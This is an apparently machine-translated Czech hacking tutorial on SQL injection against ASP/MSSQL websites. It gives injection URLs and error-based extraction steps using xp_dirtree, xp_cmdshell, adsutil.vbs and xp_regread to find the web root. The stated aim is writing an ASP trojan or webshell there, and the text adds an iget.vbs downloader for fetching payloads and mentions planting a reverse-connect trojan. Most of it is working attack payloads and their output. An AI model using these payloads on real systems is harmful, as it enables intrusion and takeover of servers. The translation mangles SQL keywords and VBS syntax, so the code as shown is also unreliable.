SQL injection pro získání kompletní cesty webu
Pokud má web pouze 80 portů, následující metody budou užitečnější
Téměř všechny použité metody nejsou takové, jaké jsem objevil, a článek vždy obsahuje osobní zkušenosti a dovednosti při injekci
Existují 4 metody (nyní známé)
První metoda:
Tato <怪异的SQL注入>metoda byla představena v < >
S využitím xp_dirtree sqlserveru nejprve proberme metodu a poté její výhody a nevýhody (některé doplňky jsou učiněny na základě původního textu)
Vytvářet tabulky
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1;create Tabulka Dirs(Paths Varchar(1000))--
Zpět: Normální informace! Znamená to, že tabulka je úspěšně vytvořena! Tak do toho!
(Ten, který jsem postavil, je o něco větší než originál, protože jsem narazil na soubor s dlouhým názvem a ID jsem smazal, protože je k ničemu)
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Exec master.dbo.xp_dirtree 'C:\' --
Vrácení údajů: Normální informace. To znamená, že všechny adresáře napsané na disk C jsou úspěšné! Super! Dalším krokem je získat měřič! Porušte ho a vyjděte. (Zdá se, že existuje jen jeden způsob, jak to udělat)
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastává při převodu varcharovy hodnoty '@Inetpub' na sloupec s datovým typem int.
Pak se názvy adresářů v tabulce postupně vyhrávají!
Prohlášení:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte první cestu z
Směry, kde cesty nejsou v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastala při převodu varcharovy hodnoty 'test' na sloupec s datovým typem int.
Pak se názvy adresářů v tabulce postupně vyhrávají!
Dobře, pokračujme
Prohlášení:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte první cestu z
Směrnice, kde cesty nejsou v ('@Inetpub','test'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastává při převodu hodnoty varchar 'haha' na sloupec s datovým typem int.
Pak se názvy adresářů v tabulce postupně vyhrávají!
Dobře, měl bys vědět, jak na to, haha, stačí přidat název tabulky, kterou dostaneš, do té závorky, dej kolik chceš,
Malý trik:
Někdy zjistíte, že když je vstup podobný
http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Místo zobrazování chyby se webová stránka zobrazuje normálně
Motá se ti hlava, nebuď nervózní
Podívejte se na 0<> (vyberte první cestu z dirs), abyste ukázali, že návrat je číslo,
Haha, vyzkoušej to a uvidíš, kolik to stojí
100>(vyberte nejlepší 1 cesty z Dirs)
Zpátky do normálu
Haha, tímto způsobem můžete rychle hádat více nebo méně
Dobře, pokračujme
Například když se objeví
59=(vyberte top 1 cesty z dirs)
Vraťte se do normálu,
dobře, jmenuje se 59
Zadejte následovně
http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte první cestu z
Směry tam, kde cesty nejsou v('59'))--
Nezapomeňte dávat uvozovky
Následující metoda je stejná jako původní
Je tu také problém
Někdy, když zadám 59 výše uvedenou metodou, zjistím, že další složka je stále 59
Co se děje?
Hehe, nevím, jestli jste si všimli, že 059 a 59 jsou stejné?
Proto haha,
http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte první cestu z
Směry, kde cesty nejsou v( '059'))--
Zjistil jsem, že se zobrazí název další složky, dobře
Analýza výhod a nevýhod:
Výhodou je, že jej mohou používat všichni uživatelé sqlserveru, protože xp_dirtree aplikuje oprávnění VEŘEJNÉ,
Nevýhodou je, že zobrazuje názvy všech složek v adresáři a uspořádání se zdá být v žádném pořadí, stručně řečeno, je bolestivé najít složku, kterou chcete, v tisících nebo desítkách tisíc složek.
A víte, že mít tu složku není zaručeně v kořenovém adresáři, což je opravdu bolestivé, často to závisí na štěstí a vytrvalosti.
Přeji ti hodně úspěchu
Metoda 2:
Využijte xp_cmdshell
Haha, každý to musí znát, řeknu to stručně
Vytvářet tabulky
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1;create Tabulka Dirs(Paths Varchar(1000))--
Zpět: Normální informace! Znamená to, že tabulka je úspěšně vytvořena! Tak do toho!
(Ten, který jsem postavil, je o něco větší než originál, protože jsem narazil na soubor s dlouhým názvem a ten id jsem smazal, protože je k ničemu.)
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Vrácení údajů: Normální informace. To znamená, že všechny adresáře napsané na disk C jsou úspěšné! dir c:\ /B/D se zde používá, haha, pokud nevíte, co /B/D dělá, zkuste zjistit, co dělá
Prohlášení:http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z Dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastává při převodu varcharovy hodnoty '@Inetpub' na sloupec s datovým typem int.
Pak se názvy adresářů v tabulce postupně vyhrávají!
Prohlášení:http:// http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte první cestu z
Směry, kde cesty nejsou v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Syntaktická chyba nastala při převodu varcharovy hodnoty 'test' na sloupec s datovým typem int.
Pak se názvy adresářů v tabulce postupně vyhrávají!
Metoda je stejná jako výše, takže o tom nebudu mluvit
Někdy můžeme něco udělat i s následujícími dvěma rozšířeními
1) Můžeme využít xp_availablemedia k získání všech aktuálních disků a uložení jich do tabulky dirs:
5 ; insert dirs exec master.dbo.xp_availablemedia; --
Seznam disků a související informace získáme dotazem na obsah temp
(2) Můžeme použít xp_subdirs k získání seznamu podadresářů a uložení jejich do tabulky dirs:
5 ; vložte do dirs exec master.dbo.xp_subdirs 'c:\' ; --
Analýza výhod a nevýhod:
Samozřejmě to nebude xp_dirtree situaci, kdy jsou všechny adresáře spojeny dohromady, zobrazí se pouze adresář první úrovně, který je mnohem snazší najít.
Nevýhody jsou také zřejmé, pouze SA má toto oprávnění, a je také možné, že administrátor tuto rozšíření smazal (koneckonců je příliš silné).
Metoda 3:
Tento přístup je dobrý
Následuje původní text
Přemýšlel jsem o použití programu adsutil.vbs, který jsem spustil
a'; Výkonný mistr.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --
Není to dlouhé? Díky němu můžeme nastavit první virtuální web v IIS (včetně samotného adresáře, kde se nachází, samozřejmě)
Import do a.txt
Výchozí pro skutečnou polohu a.txt je samozřejmě c:\winnt\system32, což vlastně není problém, ale když narazíte na administrátora, který nastavuje adsutil.vbs
Smaž nebo dej jinam
S tím nic neuděláme (sami si ho nemůžete napsat příkazem echo).
Krok 2: Použijte příkaz echo k napsání následujícího kódu do c:\, což není moc
..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------čti.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Nastav WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa & "\system32\aa.txt"
dělej, dokud nefil.atendofstream
nr=fil.readline
pokud left(nr,4)="Cesta" pak
Pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
konec pokud
Loop
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Střih tady-------------------------------------
Krok 3: Samozřejmě je potřeba spustit read.vbs, abychom mohli číst obsah v aa.txt a najít skutečnou cestu webu
Pak do kořenového adresáře webu napište soubor s názvem dd.asp a budete vědět, jestli to můžete úspěšně zkusit
provésthttp://x.x.x.x/dd.asp
Vrácení: \xxx
Haha, je to dobrý způsob,
Nicméně původní text má zřejmě určité problémy
To je
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
Chyba nastává, když jsou odeslány dvě věty
Takže jsme přišli s plusem, které má stejnou funkci jako &
A o čem psát dd.asp? Napiš tátovi, haha
Haha, změnil jsem to
-------------------čti.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Nastav WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
Set fil =fso1.opentextfile(spa "\system32\aa.txt"
dělej, dokud nefil.atendofstream
nr=fil.readline
pokud left(nr,4)="Cesta" pak
Pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
konec pokud
Loop
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Střih--------------------------------------
Protože se časové číslo při odesílání v prohlížeči převede na mezeru, měli byste také nastavit
Stane se to 2B, dobře, mělo by to být v pořádku, a to takhle
-------------------čti.vbs---------------------------------
Set fso1=createobject("scripting.filesystemobject"
Nastav WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
dělej, dokud nefil.atendofstream
nr=fil.readline
pokud left(nr,4)="Cesta" pak
Pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
konec pokud
Loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Střih--------------------------------------
Pokud zjistíme, že 1 tam není, můžeme se stát 2, 3, 4...........
a'; Výkonný mistr.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --
Ale tato metoda může být použita pouze pod Windows 2000, protože adresy nově vytvořených webů pod 2003 nejsou uspořádány podle 1234, zdá se, že jsou generovány náhodně, a několik jsem porovnal pod 2003
Adresa nebyla zjištěna pravidelnost.
Analýza výhod a nevýhod:
Stejně tak xp_cmdshell Ne každý uživatel ho může používat! Dalším problémem je, že soubor adsutil nutně neexistuje, nebo není nutně v této cestě, i když ho můžete použít, pokud jste to zamýšleli
Echo píše jeden (haha, starý i starý), a další otázka je, co když je na hostiteli mnoho stránek? Setkal jsem se s hostitelem s devíti stránkami a jen osmý je užitečný
Ano, slabé, je těžké, aby někdo měl trpělivost vydržet tolik, možná už dávno zkolabovala. Navíc se v roce 2003 nedá použít!
Ale upřímně, tato metoda je opravdu dobrá
Metoda 4:
Tato metoda spočívá v čtení cesty z registru přes xp_regread atd
Následující je doporučeno pro získání cesty k webové stránce (čtěte registr přes uložené procedury):
Využijte vestavěnou uloženou proceduru xp_regread (přečíst klíč registru, oprávnění veřejné):
Prohlášení: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) Výkonný mistr.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test VÝSTUP vložit do cest
(path) values(@test)
Výchozí cesta IIS v registru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Použijte pole burst k přečtení hodnoty databáze:
Příkaz: http://www.xxx.com/list.asp?classid=1 a 0<>(vyberte top 1 cesty z newtable)--return: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] převádí hodnotu varchar E:\www,,201 na datový typ int
sloupek.
To znamená, že adresář webové stránky je v E:\www, a pak můžete použít FSO pro přímý zápis do trojanu ASP
Co když nemůžete získat webový adresář? Musíte hádat, zda web používá výchozí WEB, nebo doménové jméno jako WEB.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "výchozí web" -v "e","e:\"'
Vytvořte virtuální adresář E pod výchozím webovým webem, který ukazuje na E: pod disk.
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
Je dobré přidat atributy pro prohlížení do virtuálního adresáře, např. Otevřete si virtuální službu pro sebe. Když přemýšlím o těch cestách po adresářích webových stránek, mám skoro rozbitou hlavu. Teď jsem otevřel oči. To je WEBSHELL, který používá MS
SQL je konec naší práce a další úkol by měl být vaš.
Haha, metoda je dobrá, přečti si to v registračním formuláři, pohodlně a rychle!
Analýza výhod a nevýhod:
Výhodou je samozřejmě to, že je to pohodlné a rychlé. Nevýhodou je, že vidíte pouze cestu výchozího IIS site, a pokud už to není výchozí site, pak s tím nic neuděláte (já jsem to sledoval pomocí regsnape), pokud je to pod 2003
To znamená, že ani výchozí cesta k webu se nezobrazí! V bolesti
Mimochodem, existují i jiné způsoby, jak pokračovat v průniku kromě hledání cesty na web, například nahrát bounce trojan přes tftp nebo napsat iget.vbs pro stažení požadovaného dongdongu
Kód iget.vbs je následující:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Nastavte sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------konec-----------
Doplněk k tomuto článku:
Nedávno jsem zjistil, že mé porozumění pokynům předsedy Maa nebylo dostatečně hluboké, a rád bych zde dodal
Ve skutečnosti výše uvedené metody vůbec není třeba porovnávat, xp_dirtree jsou nejlepší, pokud stačí tato jedna metoda
Bylo to jen proto, že jsem byl moc ..............
Dnes znovu odhalím tajemství xp_dirtree
Dobře, pojďme na výkonného mistra: xp_dirtree'd:/test'
Řekněme, že máme dvě složky v testu, test1 a test2, a test3 v testu1
Výsledky ukazují
hloubka podadresáře
TEST1 1
TEST3 2
TEST2 1
Haha, zjistil jsem, že série adresáře nemá žádnou hloubku
Dobře, víš, co dělat
http://www.xxxxx.com/down/list.asp?id=1;create Tabulka Dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert Dirs Exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 a 0<>(vyberte top 1 cesty z směrů, kde id=1)-
Pokud je přidáno id=1, jedná se o adresář první úrovně.
|